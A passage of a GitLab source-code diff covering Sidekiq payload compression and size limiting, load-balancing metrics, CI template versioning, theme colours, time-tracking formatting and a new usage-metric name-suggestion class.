- :elasticsearch_duration_s,
- :elasticsearch_timed_out_count,
- *::Gitlab::Memory::Instrumentation::KEY_MAPPING.values,
- *::Gitlab::Instrumentation::Redis.known_payload_keys,
- *::Gitlab::Metrics::Subscribers::ActiveRecord.known_payload_keys,
- *::Gitlab::Metrics::Subscribers::ExternalHttp::KNOWN_PAYLOAD_KEYS,
- *::Gitlab::Metrics::Subscribers::RackAttack::PAYLOAD_KEYS
- ]
- end
-
def call(worker, job, queue)
::Gitlab::InstrumentationHelper.init_instrumentation_data
@@ -37,7 +19,6 @@ module Gitlab
# https://github.com/mperham/sidekiq/blob/53bd529a0c3f901879925b8390353129c465b1f2/lib/sidekiq/processor.rb#L115-L118
job[:instrumentation] = {}.tap do |instrumentation_values|
::Gitlab::InstrumentationHelper.add_instrumentation_data(instrumentation_values)
- instrumentation_values.slice!(*self.class.keys)
end
end
end
diff --git a/lib/gitlab/sidekiq_middleware/server_metrics.rb b/lib/gitlab/sidekiq_middleware/server_metrics.rb
index 474afffcf93..6d130957f36 100644
--- a/lib/gitlab/sidekiq_middleware/server_metrics.rb
+++ b/lib/gitlab/sidekiq_middleware/server_metrics.rb
@@ -13,6 +13,10 @@ module Gitlab
@metrics = init_metrics
@metrics[:sidekiq_concurrency].set({}, Sidekiq.options[:concurrency].to_i)
+
+ if ::Gitlab::Database::LoadBalancing.enable?
+ @metrics[:sidekiq_load_balancing_count] = ::Gitlab::Metrics.counter(:sidekiq_load_balancing_count, 'Sidekiq jobs with load balancing')
+ end
end
def call(worker, job, queue)
@@ -69,6 +73,15 @@ module Gitlab
@metrics[:sidekiq_redis_requests_duration_seconds].observe(labels, get_redis_time(instrumentation))
@metrics[:sidekiq_elasticsearch_requests_total].increment(labels, get_elasticsearch_calls(instrumentation))
@metrics[:sidekiq_elasticsearch_requests_duration_seconds].observe(labels, get_elasticsearch_time(instrumentation))
+
+ if ::Gitlab::Database::LoadBalancing.enable? && job[:database_chosen]
+ load_balancing_labels = {
+ database_chosen: job[:database_chosen],
+ data_consistency: job[:data_consistency]
+ }
+
+ @metrics[:sidekiq_load_balancing_count].increment(labels.merge(load_balancing_labels), 1)
+ end
end
end
diff --git a/lib/gitlab/sidekiq_middleware/size_limiter/compressor.rb b/lib/gitlab/sidekiq_middleware/size_limiter/compressor.rb
new file mode 100644
index 00000000000..bce295d8ba5
--- /dev/null
+++ b/lib/gitlab/sidekiq_middleware/size_limiter/compressor.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module SidekiqMiddleware
+ module SizeLimiter
+ class Compressor
+ PayloadDecompressionConflictError = Class.new(StandardError)
+ PayloadDecompressionError = Class.new(StandardError)
+
+ # Level 5 is a good trade-off between space and time
+ # https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1054#note_568129605
+ COMPRESS_LEVEL = 5
+ ORIGINAL_SIZE_KEY = 'original_job_size_bytes'
+ COMPRESSED_KEY = 'compressed'
+
+ def self.compressed?(job)
+ job&.has_key?(COMPRESSED_KEY)
+ end
+
+ def self.compress(job, job_args)
+ compressed_args = Base64.strict_encode64(Zlib::Deflate.deflate(job_args, COMPRESS_LEVEL))
+
+ job[COMPRESSED_KEY] = true
+ job[ORIGINAL_SIZE_KEY] = job_args.bytesize
+ job['args'] = [compressed_args]
+
+ compressed_args
+ end
+
+ def self.decompress(job)
+ return unless compressed?(job)
+
+ validate_args!(job)
+
+ job.except!(ORIGINAL_SIZE_KEY, COMPRESSED_KEY)
+ job['args'] = Sidekiq.load_json(Zlib::Inflate.inflate(Base64.strict_decode64(job['args'].first)))
+ rescue Zlib::Error
+ raise PayloadDecompressionError, 'Fail to decompress Sidekiq job payload'
+ end
+
+ def self.validate_args!(job)
+ if job['args'] && job['args'].length != 1
+ exception = PayloadDecompressionConflictError.new('Sidekiq argument list should include 1 argument.\
+ This means that there is another a middleware interfering with the job payload.\
+ That conflicts with the payload compressor')
+ ::Gitlab::ErrorTracking.track_and_raise_exception(exception)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/sidekiq_middleware/size_limiter/server.rb b/lib/gitlab/sidekiq_middleware/size_limiter/server.rb
new file mode 100644
index 00000000000..70b384c8f28
--- /dev/null
+++ b/lib/gitlab/sidekiq_middleware/size_limiter/server.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module SidekiqMiddleware
+ module SizeLimiter
+ class Server
+ def call(worker, job, queue)
+ # This middleware should always decompress jobs regardless of the
+ # limiter mode or size limit. Otherwise, this could leave compressed
+ # payloads in queues that are then not able to be processed.
+ ::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor.decompress(job)
+
+ yield
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/sidekiq_middleware/size_limiter/validator.rb b/lib/gitlab/sidekiq_middleware/size_limiter/validator.rb
index 2c50c4a2157..d86f1609f14 100644
--- a/lib/gitlab/sidekiq_middleware/size_limiter/validator.rb
+++ b/lib/gitlab/sidekiq_middleware/size_limiter/validator.rb
@@ -3,76 +3,103 @@
module Gitlab
module SidekiqMiddleware
module SizeLimiter
- # Validate a Sidekiq job payload limit based on current configuration.
+ # Handle a Sidekiq job payload limit based on current configuration.
# This validator pulls the configuration from the environment variables:
- #
# - GITLAB_SIDEKIQ_SIZE_LIMITER_MODE: the current mode of the size
- # limiter. This must be either `track` or `raise`.
- #
+ # limiter. This must be either `track` or `compress`.
+ # - GITLAB_SIDEKIQ_SIZE_LIMITER_COMPRESSION_THRESHOLD_BYTES: the
+ # threshold before the input job payload is compressed.
# - GITLAB_SIDEKIQ_SIZE_LIMITER_LIMIT_BYTES: the size limit in bytes.
#
- # If the size of job payload after serialization exceeds the limit, an
- # error is tracked raised adhering to the mode.
+ # In track mode, if a job payload limit exceeds the size limit, an
+ # event is sent to Sentry and the job is scheduled like normal.
+ #
+ # In compress mode, if a job payload limit exceeds the threshold, it is
+ # then compressed. If the compressed payload still exceeds the limit, the
+ # job is discarded, and a ExceedLimitError exception is raised.
class Validator
def self.validate!(worker_class, job)
new(worker_class, job).validate!
end
DEFAULT_SIZE_LIMIT = 0
+ DEFAULT_COMPRESION_THRESHOLD_BYTES = 100_000 # 100kb
MODES = [
TRACK_MODE = 'track',
- RAISE_MODE = 'raise'
+ COMPRESS_MODE = 'compress'
].freeze
- attr_reader :mode, :size_limit
+ attr_reader :mode, :size_limit, :compression_threshold
def initialize(
worker_class, job,
mode: ENV['GITLAB_SIDEKIQ_SIZE_LIMITER_MODE'],
+ compression_threshold: ENV['GITLAB_SIDEKIQ_SIZE_LIMITER_COMPRESSION_THRESHOLD_BYTES'],
size_limit: ENV['GITLAB_SIDEKIQ_SIZE_LIMITER_LIMIT_BYTES']
)
@worker_class = worker_class
@job = job
+ set_mode(mode)
+ set_compression_threshold(compression_threshold)
+ set_size_limit(size_limit)
+ end
+
+ def validate!
+ return unless @size_limit > 0
+ return if allow_big_payload?
+
+ job_args = compress_if_necessary(::Sidekiq.dump_json(@job['args']))
+ return if job_args.bytesize <= @size_limit
+
+ exception = exceed_limit_error(job_args)
+ if compress_mode?
+ raise exception
+ else
+ track(exception)
+ end
+ end
+
+ private
+
+ def set_mode(mode)
@mode = (mode || TRACK_MODE).to_s.strip
unless MODES.include?(@mode)
::Sidekiq.logger.warn "Invalid Sidekiq size limiter mode: #{@mode}. Fallback to #{TRACK_MODE} mode."
@mode = TRACK_MODE
end
+ end
+
+ def set_compression_threshold(compression_threshold)
+ @compression_threshold = (compression_threshold || DEFAULT_COMPRESION_THRESHOLD_BYTES).to_i
+ if @compression_threshold <= 0
+ ::Sidekiq.logger.warn "Invalid Sidekiq size limiter compression threshold: #{@compression_threshold}"
+ @compression_threshold = DEFAULT_COMPRESION_THRESHOLD_BYTES
+ end
+ end
+ def set_size_limit(size_limit)
@size_limit = (size_limit || DEFAULT_SIZE_LIMIT).to_i
if @size_limit < 0
::Sidekiq.logger.warn "Invalid Sidekiq size limiter limit: #{@size_limit}"
end
end
- def validate!
- return unless @size_limit > 0
-
- return if allow_big_payload?
- return if job_size <= @size_limit
-
- exception = ExceedLimitError.new(@worker_class, job_size, @size_limit)
- # This should belong to Gitlab::ErrorTracking. We'll remove this
- # after this epic is done:
- # https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/396
- exception.set_backtrace(backtrace)
-
- if raise_mode?
- raise exception
- else
- track(exception)
+ def exceed_limit_error(job_args)
+ ExceedLimitError.new(@worker_class, job_args.bytesize, @size_limit).tap do |exception|
+ # This should belong to Gitlab::ErrorTracking. We'll remove this
+ # after this epic is done:
+ # https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/396
+ exception.set_backtrace(backtrace)
end
end
- private
+ def compress_if_necessary(job_args)
+ return job_args unless compress_mode?
+ return job_args if job_args.bytesize < @compression_threshold
- def job_size
- # This maynot be the optimal solution, but can be acceptable solution
- # for now. Internally, Sidekiq calls Sidekiq.dump_json everywhere.
- # There is no clean way to intefere to prevent double serialization.
- @job_size ||= ::Sidekiq.dump_json(@job).bytesize
+ ::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor.compress(@job, job_args)
end
def allow_big_payload?
@@ -80,8 +107,8 @@ module Gitlab
worker_class.respond_to?(:big_payload?) && worker_class.big_payload?
end
- def raise_mode?
- @mode == RAISE_MODE
+ def compress_mode?
+ @mode == COMPRESS_MODE
end
def track(exception)
diff --git a/lib/gitlab/slash_commands/presenters/base.rb b/lib/gitlab/slash_commands/presenters/base.rb
index b8affb42372..d28b5fb509a 100644
--- a/lib/gitlab/slash_commands/presenters/base.rb
+++ b/lib/gitlab/slash_commands/presenters/base.rb
@@ -63,7 +63,7 @@ module Gitlab
# Convert Markdown to slacks format
def format(string)
- Slack::Messenger::Util::LinkFormatter.format(string)
+ ::Slack::Messenger::Util::LinkFormatter.format(string)
end
def resource_url
diff --git a/lib/gitlab/stack_prof.rb b/lib/gitlab/stack_prof.rb
index 4b7d93c91ce..97f52491e9e 100644
--- a/lib/gitlab/stack_prof.rb
+++ b/lib/gitlab/stack_prof.rb
@@ -118,7 +118,6 @@ module Gitlab
#
# see also:
# * https://github.com/puma/puma/blob/master/docs/signals.md#puma-signals
- # * https://github.com/phusion/unicorn/blob/master/SIGNALS
# * https://github.com/mperham/sidekiq/wiki/Signals
Signal.trap('SIGUSR2') do
write.write('.')
diff --git a/lib/gitlab/task_helpers.rb b/lib/gitlab/task_helpers.rb
index 1ceccc64ec0..227962fc0f7 100644
--- a/lib/gitlab/task_helpers.rb
+++ b/lib/gitlab/task_helpers.rb
@@ -61,7 +61,7 @@ module Gitlab
def prompt(message, choices = nil)
begin
print(message)
- answer = STDIN.gets.chomp
+ answer = $stdin.gets.chomp
end while choices.present? && !choices.include?(answer)
answer
end
@@ -70,12 +70,12 @@ module Gitlab
#
# message - custom message to display before input
def prompt_for_password(message = 'Enter password: ')
- unless STDIN.tty?
+ unless $stdin.tty?
print(message)
- return STDIN.gets.chomp
+ return $stdin.gets.chomp
end
- STDIN.getpass(message)
+ $stdin.getpass(message)
end
# Runs the given command and matches the output against the given pattern
diff --git a/lib/gitlab/template/gitlab_ci_yml_template.rb b/lib/gitlab/template/gitlab_ci_yml_template.rb
index e1ca4b5ff6a..e302865c897 100644
--- a/lib/gitlab/template/gitlab_ci_yml_template.rb
+++ b/lib/gitlab/template/gitlab_ci_yml_template.rb
@@ -5,11 +5,19 @@ module Gitlab
class GitlabCiYmlTemplate < BaseTemplate
BASE_EXCLUDED_PATTERNS = [%r{\.latest\.}].freeze
+ TEMPLATES_WITH_LATEST_VERSION = {
+ 'Jobs/Browser-Performance-Testing' => true,
+ 'Security/API-Fuzzing' => true,
+ 'Security/DAST' => true,
+ 'Terraform' => true
+ }.freeze
+
def description
"# This file is a template, and might need editing before it works on your project."
end
class << self
+ extend ::Gitlab::Utils::Override
include Gitlab::Utils::StrongMemoize
def extension
@@ -54,6 +62,31 @@ module Gitlab
excluded_patterns: self.excluded_patterns
)
end
+
+ override :find
+ def find(key, project = nil)
+ if try_redirect_to_latest?(key, project)
+ key += '.latest'
+ end
+
+ super(key, project)
+ end
+
+ private
+
+ # To gauge the impact of the latest template,
+ # you can redirect the stable template to the latest template by enabling the feature flag.
+ # See https://docs.gitlab.com/ee/development/cicd/templates.html#versioning for more information.
+ def try_redirect_to_latest?(key, project)
+ return false unless templates_with_latest_version[key]
+
+ flag_name = "redirect_to_latest_template_#{key.underscore.tr('/', '_')}"
+ ::Feature.enabled?(flag_name, project, default_enabled: :yaml)
+ end
+
+ def templates_with_latest_version
+ TEMPLATES_WITH_LATEST_VERSION
+ end
end
end
end
diff --git a/lib/gitlab/themes.rb b/lib/gitlab/themes.rb
index 16e7b8a7eca..ac1522b8a6c 100644
--- a/lib/gitlab/themes.rb
+++ b/lib/gitlab/themes.rb
@@ -10,21 +10,21 @@ module Gitlab
APPLICATION_DEFAULT = 1
# Struct class representing a single Theme
- Theme = Struct.new(:id, :name, :css_class, :css_filename)
+ Theme = Struct.new(:id, :name, :css_class, :css_filename, :primary_color)
# All available Themes
THEMES = [
- Theme.new(1, 'Indigo', 'ui-indigo', 'theme_indigo'),
- Theme.new(6, 'Light Indigo', 'ui-light-indigo', 'theme_light_indigo'),
- Theme.new(4, 'Blue', 'ui-blue', 'theme_blue'),
- Theme.new(7, 'Light Blue', 'ui-light-blue', 'theme_light_blue'),
- Theme.new(5, 'Green', 'ui-green', 'theme_green'),
- Theme.new(8, 'Light Green', 'ui-light-green', 'theme_light_green'),
- Theme.new(9, 'Red', 'ui-red', 'theme_red'),
- Theme.new(10, 'Light Red', 'ui-light-red', 'theme_light_red'),
- Theme.new(2, 'Dark', 'ui-dark', 'theme_dark'),
- Theme.new(3, 'Light', 'ui-light', 'theme_light'),
- Theme.new(11, 'Dark Mode (alpha)', 'gl-dark', nil)
+ Theme.new(1, 'Indigo', 'ui-indigo', 'theme_indigo', '#292961'),
+ Theme.new(6, 'Light Indigo', 'ui-light-indigo', 'theme_light_indigo', '#4b4ba3'),
+ Theme.new(4, 'Blue', 'ui-blue', 'theme_blue', '#1a3652'),
+ Theme.new(7, 'Light Blue', 'ui-light-blue', 'theme_light_blue', '#2261a1'),
+ Theme.new(5, 'Green', 'ui-green', 'theme_green', '#0d4524'),
+ Theme.new(8, 'Light Green', 'ui-light-green', 'theme_light_green', '#156b39'),
+ Theme.new(9, 'Red', 'ui-red', 'theme_red', '#691a16'),
+ Theme.new(10, 'Light Red', 'ui-light-red', 'theme_light_red', '#a62e21'),
+ Theme.new(2, 'Dark', 'ui-dark', 'theme_dark', '#303030'),
+ Theme.new(3, 'Light', 'ui-light', 'theme_light', '#666'),
+ Theme.new(11, 'Dark Mode (alpha)', 'gl-dark', nil, '#303030')
].freeze
# Convenience method to get a space-separated String of all the theme
diff --git a/lib/gitlab/time_tracking_formatter.rb b/lib/gitlab/time_tracking_formatter.rb
index bfdfb01093f..67ecf498cf7 100644
--- a/lib/gitlab/time_tracking_formatter.rb
+++ b/lib/gitlab/time_tracking_formatter.rb
@@ -24,6 +24,12 @@ module Gitlab
end
def output(seconds)
+ seconds.to_i < 0 ? negative_output(seconds) : positive_output(seconds)
+ end
+
+ private
+
+ def positive_output(seconds)
ChronicDuration.output(
seconds,
CUSTOM_DAY_AND_MONTH_LENGTH.merge(
@@ -34,7 +40,9 @@ module Gitlab
nil
end
- private
+ def negative_output(seconds)
+ "-" + positive_output(seconds.abs)
+ end
def limit_to_hours_setting
Gitlab::CurrentSettings.time_tracking_limit_to_hours
diff --git a/lib/gitlab/usage/metrics/aggregates/aggregate.rb b/lib/gitlab/usage/metrics/aggregates/aggregate.rb
index 4c40bfbc06f..3ec06fba5d1 100644
--- a/lib/gitlab/usage/metrics/aggregates/aggregate.rb
+++ b/lib/gitlab/usage/metrics/aggregates/aggregate.rb
@@ -22,9 +22,7 @@ module Gitlab
}.freeze
class Aggregate
- delegate :weekly_time_range,
- :monthly_time_range,
- to: Gitlab::UsageDataCounters::HLLRedisCounter
+ include Gitlab::Usage::TimeFrame
def initialize(recorded_at)
@aggregated_metrics = load_metrics(AGGREGATED_METRICS_PATH)
@@ -32,15 +30,15 @@ module Gitlab
end
def all_time_data
- aggregated_metrics_data(start_date: nil, end_date: nil, time_frame: Gitlab::Utils::UsageData::ALL_TIME_TIME_FRAME_NAME)
+ aggregated_metrics_data(start_date: nil, end_date: nil, time_frame: Gitlab::Usage::TimeFrame::ALL_TIME_TIME_FRAME_NAME)
end
def monthly_data
- aggregated_metrics_data(**monthly_time_range.merge(time_frame: Gitlab::Utils::UsageData::TWENTY_EIGHT_DAYS_TIME_FRAME_NAME))
+ aggregated_metrics_data(**monthly_time_range.merge(time_frame: Gitlab::Usage::TimeFrame::TWENTY_EIGHT_DAYS_TIME_FRAME_NAME))
end
def weekly_data
- aggregated_metrics_data(**weekly_time_range.merge(time_frame: Gitlab::Utils::UsageData::SEVEN_DAYS_TIME_FRAME_NAME))
+ aggregated_metrics_data(**weekly_time_range.merge(time_frame: Gitlab::Usage::TimeFrame::SEVEN_DAYS_TIME_FRAME_NAME))
end
private
@@ -54,7 +52,7 @@ module Gitlab
case aggregation[:source]
when REDIS_SOURCE
- if time_frame == Gitlab::Utils::UsageData::ALL_TIME_TIME_FRAME_NAME
+ if time_frame == Gitlab::Usage::TimeFrame::ALL_TIME_TIME_FRAME_NAME
data[aggregation[:name]] = Gitlab::Utils::UsageData::FALLBACK
Gitlab::ErrorTracking
.track_and_raise_for_dev_exception(
@@ -64,8 +62,6 @@ module Gitlab
data[aggregation[:name]] = calculate_count_for_aggregation(aggregation: aggregation, start_date: start_date, end_date: end_date)
end
when DATABASE_SOURCE
- next unless Feature.enabled?('database_sourced_aggregated_metrics', default_enabled: false, type: :development)
-
data[aggregation[:name]] = calculate_count_for_aggregation(aggregation: aggregation, start_date: start_date, end_date: end_date)
else
Gitlab::ErrorTracking
diff --git a/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll.rb b/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll.rb
index 3069afab147..eccf79b9703 100644
--- a/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll.rb
+++ b/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll.rb
@@ -56,15 +56,15 @@ module Gitlab
end
def time_period_to_human_name(time_period)
- return Gitlab::Utils::UsageData::ALL_TIME_TIME_FRAME_NAME if time_period.blank?
+ return Gitlab::Usage::TimeFrame::ALL_TIME_TIME_FRAME_NAME if time_period.blank?
start_date = time_period.first.to_date
end_date = time_period.last.to_date
if (end_date - start_date).to_i > 7
- Gitlab::Utils::UsageData::TWENTY_EIGHT_DAYS_TIME_FRAME_NAME
+ Gitlab::Usage::TimeFrame::TWENTY_EIGHT_DAYS_TIME_FRAME_NAME
else
- Gitlab::Utils::UsageData::SEVEN_DAYS_TIME_FRAME_NAME
+ Gitlab::Usage::TimeFrame::SEVEN_DAYS_TIME_FRAME_NAME
end
end
end
diff --git a/lib/gitlab/usage/metrics/instrumentations/base_metric.rb b/lib/gitlab/usage/metrics/instrumentations/base_metric.rb
index 29b44f2bd0a..7b5bee3f8bd 100644
--- a/lib/gitlab/usage/metrics/instrumentations/base_metric.rb
+++ b/lib/gitlab/usage/metrics/instrumentations/base_metric.rb
@@ -6,11 +6,14 @@ module Gitlab
module Instrumentations
class BaseMetric
include Gitlab::Utils::UsageData
+ include Gitlab::Usage::TimeFrame
attr_reader :time_frame
+ attr_reader :options
- def initialize(time_frame:)
+ def initialize(time_frame:, options: {})
@time_frame = time_frame
+ @options = options
end
end
end
diff --git a/lib/gitlab/usage/metrics/instrumentations/count_users_using_approve_quick_action_metric.rb b/lib/gitlab/usage/metrics/instrumentations/count_users_using_approve_quick_action_metric.rb
deleted file mode 100644
index 9c92f2e9595..00000000000
--- a/lib/gitlab/usage/metrics/instrumentations/count_users_using_approve_quick_action_metric.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Usage
- module Metrics
- module Instrumentations
- class CountUsersUsingApproveQuickActionMetric < RedisHLLMetric
- event_names :i_quickactions_approve
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/usage/metrics/instrumentations/database_metric.rb b/lib/gitlab/usage/metrics/instrumentations/database_metric.rb
index f83f90dea03..69a288e5b6e 100644
--- a/lib/gitlab/usage/metrics/instrumentations/database_metric.rb
+++ b/lib/gitlab/usage/metrics/instrumentations/database_metric.rb
@@ -43,16 +43,28 @@ module Gitlab
finish: self.class.metric_finish&.call)
end
- def relation
- self.class.metric_relation.call.where(time_constraints)
+ def to_sql
+ Gitlab::Usage::Metrics::Query.for(self.class.metric_operation, relation, self.class.column)
+ end
+
+ def suggested_name
+ Gitlab::Usage::Metrics::NameSuggestion.for(
+ self.class.metric_operation,
+ relation: relation,
+ column: self.class.column
+ )
end
private
+ def relation
+ self.class.metric_relation.call.where(time_constraints)
+ end
+
def time_constraints
case time_frame
when '28d'
- { created_at: 30.days.ago..2.days.ago }
+ monthly_time_range_db_params
when 'all'
{}
when 'none'
diff --git a/lib/gitlab/usage/metrics/instrumentations/generic_metric.rb b/lib/gitlab/usage/metrics/instrumentations/generic_metric.rb
index 7c97cc37d17..1849773e33d 100644
--- a/lib/gitlab/usage/metrics/instrumentations/generic_metric.rb
+++ b/lib/gitlab/usage/metrics/instrumentations/generic_metric.rb
@@ -13,6 +13,9 @@ module Gitlab
# end
# end
class << self
+ attr_reader :metric_operation
+ @metric_operation = :alt
+
def value(&block)
@metric_value = block
end
@@ -25,6 +28,12 @@ module Gitlab
self.class.metric_value.call
end
end
+
+ def suggested_name
+ Gitlab::Usage::Metrics::NameSuggestion.for(
+ self.class.metric_operation
+ )
+ end
end
end
end
diff --git a/lib/gitlab/usage/metrics/instrumentations/redis_hll_metric.rb b/lib/gitlab/usage/metrics/instrumentations/redis_hll_metric.rb
index 140d56f0d42..a36e612a1cb 100644
--- a/lib/gitlab/usage/metrics/instrumentations/redis_hll_metric.rb
+++ b/lib/gitlab/usage/metrics/instrumentations/redis_hll_metric.rb
@@ -7,35 +7,50 @@ module Gitlab
class RedisHLLMetric < BaseMetric
# Usage example
#
- # class CountUsersVisitingAnalyticsValuestreamMetric < RedisHLLMetric
- # event_names :g_analytics_valuestream
+ # In metric YAML defintion
+ # instrumentation_class: RedisHLLMetric
+ # events:
+ # - g_analytics_valuestream
# end
class << self
- def event_names(events = nil)
- @metric_events = events
- end
+ attr_reader :metric_operation
+ @metric_operation = :redis
+ end
- attr_reader :metric_events
+ def initialize(time_frame:, options: {})
+ super
+
+ raise ArgumentError, "options events are required" unless metric_events.present?
+ end
+
+ def metric_events
+ options[:events]
end
def value
redis_usage_data do
- event_params = time_constraints.merge(event_names: self.class.metric_events)
+ event_params = time_constraints.merge(event_names: metric_events)
Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(**event_params)
end
end
+ def suggested_name
+ Gitlab::Usage::Metrics::NameSuggestion.for(
+ self.class.metric_operation
+ )
+ end
+
private
def time_constraints
case time_frame
when '28d'
- { start_date: 4.weeks.ago.to_date, end_date: Date.current }
+ monthly_time_range
when '7d'
- { start_date: 7.days.ago.to_date, end_date: Date.current }
+ weekly_time_range
else
- raise "Unknown time frame: #{time_frame} for TimeConstraint"
+ raise "Unknown time frame: #{time_frame} for RedisHLLMetric"
end
end
end
diff --git a/lib/gitlab/usage/metrics/name_suggestion.rb b/lib/gitlab/usage/metrics/name_suggestion.rb
new file mode 100644
index 00000000000..0728af9e2ca
--- /dev/null
+++ b/lib/gitlab/usage/metrics/name_suggestion.rb
@@ -0,0 +1,200 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Usage
+ module Metrics
+ class NameSuggestion
+ FREE_TEXT_METRIC_NAME = "<please fill metric name>"
+ REDIS_EVENT_METRIC_NAME = "<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>"
+ CONSTRAINTS_PROMPT_TEMPLATE = "<adjective describing: '%{constraints}'>"
+
+ class << self
+ def for(operation, relation: nil, column: nil)
+ case operation
+ when :count
+ name_suggestion(column: column, relation: relation, prefix: 'count')
+ when :distinct_count
+ name_suggestion(column: column, relation: relation, prefix: 'count_distinct', distinct: :distinct)
+ when :estimate_batch_distinct_count
+ name_suggestion(column: column, relation: relation, prefix: 'estimate_distinct_count')
+ when :sum
+ name_suggestion(column: column, relation: relation, prefix: 'sum')
+ when :redis
+ REDIS_EVENT_METRIC_NAME
+ when :alt
+ FREE_TEXT_METRIC_NAME
+ else
+ raise ArgumentError, "#{operation} operation not supported"
+ end
+ end
+
+ private
+
+ def name_suggestion(relation:, column: nil, prefix: nil, distinct: nil)
+ # rubocop: disable CodeReuse/ActiveRecord
+ relation = relation.unscope(where: :created_at)
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ parts = [prefix]
+ arel_column = arelize_column(relation, column)
+
+ # nil as column indicates that the counting would use fallback value of primary key.
+ # Because counting primary key from relation is the conceptual equal to counting all
+ # records from given relation, in order to keep name suggestion more condensed
+ # primary key column is skipped.
+ # eg: SELECT COUNT(id) FROM issues would translate as count_issues and not
+ # as count_id_from_issues since it does not add more information to the name suggestion
+ if arel_column != Arel::Table.new(relation.table_name)[relation.primary_key]
+ parts << arel_column.name
+ parts << 'from'
+ end
+
+ arel = arel_query(relation: relation, column: arel_column, distinct: distinct)
+ constraints = parse_constraints(relation: relation, arel: arel)
+
+ # In some cases due to performance reasons metrics are instrumented with joined relations
+ # where relation listed in FROM statement is not the one that includes counted attribute
+ # in such situations to make name suggestion more intuitive source should be inferred based
+ # on the relation that provide counted attribute
+ # EG: SELECT COUNT(deployments.environment_id) FROM clusters
+ # JOIN deployments ON deployments.cluster_id = cluster.id
+ # should be translated into:
+ # count_environment_id_from_deployments_with_clusters
+ # instead of
+ # count_environment_id_from_clusters_with_deployments
+ actual_source = parse_source(relation, arel_column)
+
+ append_constraints_prompt(actual_source, [constraints], parts)
+
+ parts << actual_source
+ parts += process_joined_relations(actual_source, arel, relation, constraints)
+ parts.compact.join('_').delete('"')
+ end
+
+ def append_constraints_prompt(target, constraints, parts)
+ applicable_constraints = constraints.select { |constraint| constraint.include?(target) }
+ return unless applicable_constraints.any?
+
+ parts << CONSTRAINTS_PROMPT_TEMPLATE % { constraints: applicable_constraints.join(' AND ') }
+ end
+
+ def parse_constraints(relation:, arel:)
+ connection = relation.connection
+ ::Gitlab::Usage::Metrics::NamesSuggestions::RelationParsers::Constraints
+ .new(connection)
+ .accept(arel, collector(connection))
+ .value
+ end
+
+ # TODO: joins with `USING` keyword
+ def process_joined_relations(actual_source, arel, relation, where_constraints)
+ joins = parse_joins(connection: relation.connection, arel: arel)
+ return [] unless joins.any?
+
+ sources = [relation.table_name, *joins.map { |join| join[:source] }]
+ joins = extract_joins_targets(joins, sources)
+
+ relations = if actual_source != relation.table_name
+ build_relations_tree(joins + [{ source: relation.table_name }], actual_source)
+ else
+ # in case where counter attribute comes from joined relations, the relations
+ # diagram has to be built bottom up, thus source and target are reverted
+ build_relations_tree(joins + [{ source: relation.table_name }], actual_source, source_key: :target, target_key: :source)
+ end
+
+ collect_join_parts(relations: relations[actual_source], joins: joins, wheres: where_constraints)
+ end
+
+ def parse_joins(connection:, arel:)
+ ::Gitlab::Usage::Metrics::NamesSuggestions::RelationParsers::Joins
+ .new(connection)
+ .accept(arel)
+ end
+
+ def extract_joins_targets(joins, sources)
+ joins.map do |join|
+ source_regex = /(#{join[:source]})\.(\w+_)*id/i
+
+ tables_except_src = (sources - [join[:source]]).join('|')
+ target_regex = /(?<target>#{tables_except_src})\.(\w+_)*id/i
+
+ join_cond_regex = /(#{source_regex}\s+=\s+#{target_regex})|(#{target_regex}\s+=\s+#{source_regex})/i
+ matched = join_cond_regex.match(join[:constraints])
+
+ if matched
+ join[:target] = matched[:target]
+ join[:constraints].gsub!(/#{join_cond_regex}(\s+(and|or))*/i, '')
+ end
+
+ join
+ end
+ end
+
+ def build_relations_tree(joins, parent, source_key: :source, target_key: :target)
+ return [] if joins.blank?
+
+ tree = {}
+ tree[parent] = []
+
+ joins.each do |join|
+ if join[source_key] == parent
+ tree[parent] << build_relations_tree(joins - [join], join[target_key], source_key: source_key, target_key: target_key)
+ end
+ end
+ tree
+ end
+
+ def collect_join_parts(relations:, joins:, wheres:, parts: [], conjunctions: %w[with having including].cycle)
+ conjunction = conjunctions.next
+ relations.each do |subtree|
+ subtree.each do |parent, children|
+ parts << "<#{conjunction}>"
+ join_constraints = joins.find { |join| join[:source] == parent }&.dig(:constraints)
+ append_constraints_prompt(parent, [wheres, join_constraints].compact, parts)
+ parts << parent
+ collect_join_parts(relations: children, joins: joins, wheres: wheres, parts: parts, conjunctions: conjunctions)
+ end
+ end
+ parts
+ end
+
+ def arelize_column(relation, column)
+ case column
+ when Arel::Attribute
+ column
+ when NilClass
+ Arel::Table.new(relation.table_name)[relation.primary_key]
+ when String
+ if column.include?('.')
+ table, col = column.split('.')
+ Arel::Table.new(table)[col]
+ else
+ Arel::Table.new(relation.table_name)[column]
+ end
+ when Symbol
+ arelize_column(relation, column.to_s)
+ end
+ end
+
+ def parse_source(relation, column)
+ column.relation.name || relation.table_name
+ end
+
+ def collector(connection)
+ Arel::Collectors::SubstituteBinds.new(connection, Arel::Collectors::SQLString.new)
+ end
+
+ def arel_query(relation:, column: nil, distinct: nil)
+ column ||= relation.primary_key
+
+ if column.is_a?(Arel::Attribute)
+ relation.select(column.count(distinct)).arel
+ else
+ relation.select(relation.all.table[column].count(distinct)).arel
+ end
+ end
+ end
+ end
+ end
+ end
+end
